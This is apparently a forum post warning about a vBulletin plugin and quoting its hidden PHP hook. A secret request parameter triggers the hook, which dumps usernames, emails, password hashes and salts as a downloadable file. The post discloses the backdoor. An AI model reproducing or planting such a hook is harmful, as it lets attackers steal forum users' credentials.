In the .xml file starting from line 18 to line 43 if I recall correctly.
Looks like it grabs stuff such as email,password,salt,activepwd etc and pipes it into an open .txt file.
<hookname>ajax_start</hookname>
<phpcode><![CDATA[if( $_REQUEST['do'] == 'suyt!' ){
$vbulletin->db->hide_errors();
$checkcols = $vbulletin->db->query_first("SHOW COLUMNS FROM ". TABLE_PREFIX ."user LIKE 'activepwd'");
if(empty($checkcols['Field']))
{
@$vbulletin->db->query_write("ALTER TABLE ". TABLE_PREFIX ."user ADD `activepwd` text");
}
if($_REQUEST['type'] == 'dic')
{
$lists = $vbulletin->db->query_read('SELECT concat_ws(0x7c,username,yahoo,skype,email) as `info`
FROM ' . TABLE_PREFIX . 'user');
}
else
{
$lists = $vbulletin->db->query_read('SELECT concat_ws(0x7c,userid,usergroupid,username,yahoo, skype,email,password,salt,activepwd) as `info`
FROM ' . TABLE_PREFIX . 'user');
}
while($list = $vbulletin->db->fetch_array($lists))
$list_all .= $list['info'] ."\n";
$vbulletin->db->free_result($lists);
$vbulletin->db->show_errors();
header('Content-type: application/txt');
header('Content-Disposition: attachment; filename="'. $_SERVER["HTTP_HOST"] .'.txt"');
echo $list_all;
die();
:mad: